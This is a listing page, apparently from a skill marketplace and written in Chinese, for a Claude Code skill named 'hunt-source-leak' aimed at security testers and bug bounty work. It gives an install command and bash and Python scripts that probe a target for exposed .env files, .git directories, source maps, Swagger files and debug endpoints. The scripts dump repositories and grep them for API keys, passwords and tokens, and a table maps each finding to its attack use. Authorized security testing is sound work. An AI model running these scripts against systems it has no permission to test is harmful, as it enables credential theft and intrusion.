mcpField
H
hunt-source-leak

hunt-source-leak

github.com/elementalsouls安全5.3k256 次安装今天更新
代码仓库

关于 hunt-source-leak

面向安全测试人员的源码与构建产物泄露排查技能,指导检查 source map、API 文档、环境文件、Git 仓库和调试信息。包含验证步骤,帮助确认泄露内容及其安全影响。

主要功能

  1. 01source map 与 JS 构建产物检查
  2. 02Swagger 和 OpenAPI 文档发现
  3. 03环境文件与 Git 暴露检查
  4. 04构建及调试信息排查
  5. 05根据实时构建哈希定位 source map
  6. 06验证源码、端点与凭据泄露

适用场景

  1. 01检查生产站点是否公开源代码映射文件
  2. 02发现未在界面展示的 API 路由
  3. 03排查公开仓库历史中的凭据
  4. 04核实构建信息是否暴露版本线索

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-source-leak

安装后在 Claude Code 中输入/hunt-source-leak确认已加载。

详细介绍

HUNT-SOURCE-LEAK — 源代码与构建产物泄露

核心资产目标

暴露 TypeScript 源代码的源映射文件 = 可查看所有 API 路由、身份验证逻辑和机密信息。Swagger/OpenAPI JSON = 完整的 API 清单。

价值最高的发现:

  • .js.map 源映射文件 — 还原完整的 TypeScript/ES6 源代码 → 查找硬编码的 API 密钥、内部端点、身份验证逻辑绕过漏洞
  • swagger.json / openapi.json — 完整的 REST API 规范,包含所有端点、参数、身份验证方案和内部路由名称
  • .env / .env.production — 明文存储的 APP_KEY、DB_PASSWORD、API_KEY、SECRET_KEY
  • .git/ 暴露 — git clone 整个源代码历史记录 → 找出过去所有硬编码的机密信息
  • asset-manifest.json / _next/static/ — 所有 JS 包路径 → 系统地发现源映射文件
  • build-info / info.json — Git 提交哈希、构建时间戳、依赖项版本 → 针对 CVE 发起攻击

第 1 阶段 — 快速收获(首先运行)

# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

第 2 阶段 — 发现源映射文件

测试前务必解析当前构建哈希,重新验证前也要再次解析。 包文件名经过内容哈希处理,因此每次部署都会更换。昨天记录的 .map URL 今天可能返回 404,但新名称下的映射文件仍可能完全暴露。旧 URL 返回 404 不代表问题已修复——只是产生了新构建。

# 务必实时获取哈希,绝不要重复使用已记录的 URL
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
  "https://$TARGET/static/js/${HASH}.map"

一次已获授权的测试经验。 在 main.<hashA>.js.map 处发现了一个大型生产环境映射文件。重新验证时,该 URL 返回一个较小的 HTML 软 404 响应,问题差点被误判为已修复。实际上,包文件已更换为 main.<hashB>.js——而 main.<hashB>.js.map 仍以相同大小公开发布。问题并未得到任何修复。

请在报告中明确告知客户端:重新部署无法修复源映射文件暴露问题。 只有设置 GENERATE_SOURCEMAP=false(或在部署时移除 .map 文件),并清除 CDN 缓存,才能解决问题。团队重新部署后再检查旧链接,会错误地认为问题已解决。

同样的规则适用于任何经过内容哈希处理的产物:分块文件、CSS 映射文件、asset-manifest.json 以及对应的预发布环境文件。

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as f:
            f.write(content)
        print(f'[+] Extracted: {src}')
"

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

第 3 阶段 — 发现 Swagger / OpenAPI

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

第 4 阶段 — .git 暴露

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

第 5 阶段 — 遗忘的文件与调试端点

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

第 6 阶段 — .DS_Store 文件列表

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

第 7 阶段 — webpack 分块分析

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

攻击链表

源代码泄露发现攻击链影响
包含 API 密钥的源映射文件直接使用密钥 → 访问 API高/严重
包含身份验证逻辑的源映射文件查找身份验证绕过路由严重
Swagger → 内部端点测试未公开的管理员路由高
.git 暴露完整源代码历史记录 → 过去所有机密信息严重
含有 Git 哈希的 build-info针对确切版本的 CVE 发起攻击高
含有 DB_PASSWORD 的 .env直接访问数据库严重

工具

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

验证

✅ 源映射文件:还原出的 TypeScript 源代码包含 API 端点或硬编码的机密信息
✅ Swagger:JSON 包含 UI 中不可见的内部端点
✅ .git 暴露:git-dumper 成功克隆仓库,历史记录中包含机密信息
✅ .env 暴露:明文可见 DATABASE_URL、API_KEY、SECRET_KEY

严重程度:

  • .env 含有凭据:严重
  • .git 历史记录中含有机密信息:严重
  • 源映射文件含有机密信息:高
  • Swagger 含有内部路由:中到高
  • 只有 robots.txt:仅供参考

评论

支持 Markdown